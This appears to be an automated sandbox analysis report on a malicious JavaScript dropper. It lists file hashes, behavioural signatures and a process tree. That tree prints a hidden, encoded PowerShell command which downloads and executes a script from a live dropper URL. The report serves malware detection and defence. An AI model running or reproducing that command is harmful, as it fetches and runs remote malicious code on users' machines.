Analysis
- max time kernel
143s - max time network
157s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
08/01/2024, 03:43
Static task
static1
Behavioral task
behavioral1
Sample
4a59252d37791d7d698c2c40c377fdde.js
Resource
win7-20231215-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
4a59252d37791d7d698c2c40c377fdde.js
Resource
win10v2004-20231215-en
6 signatures
150 seconds
General
- Target 4a59252d37791d7d698c2c40c377fdde.js
- Size 91KB
- Sample240108-d992qsaedj
- SHA256 c9595bb2978642500e6dabde90772672829261c439e331c706325f2ae53d1d3b
- MD5 4a59252d37791d7d698c2c40c377fdde
- SHA1 a9cb585252859a21bc068a1b448bf887a3aa43a6
- SHA512 33d066835c14f6b1dc603e801a22a305df6659d65e6324c9855826a372f31de73a875c7aa84f5507b735c64e88a51864dc3d88e3a59d1ba68c071b1d600f3148
- SSDEEP 1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oi:59Ry98guHVBqqg2bcruzUHmLKeMMU7GE
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://smart-integrator.hr/pornhub.php
Signatures
- Blocklisted process makes network request 1 IoCs
flow pid Process 10 4392 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation wscript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4392 powershell.exe 4392 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4392 powershell.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4276 wrote to memory of 2612 4276 wscript.exe 89 PID 4276 wrote to memory of 2612 4276 wscript.exe 89 PID 2612 wrote to memory of 4392 2612 cmd.exe 92 PID 2612 wrote to memory of 4392 2612 cmd.exe 92
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\4a59252d37791d7d698c2c40c377fdde.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4276 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4392
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2zdzeyfo.ivf.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512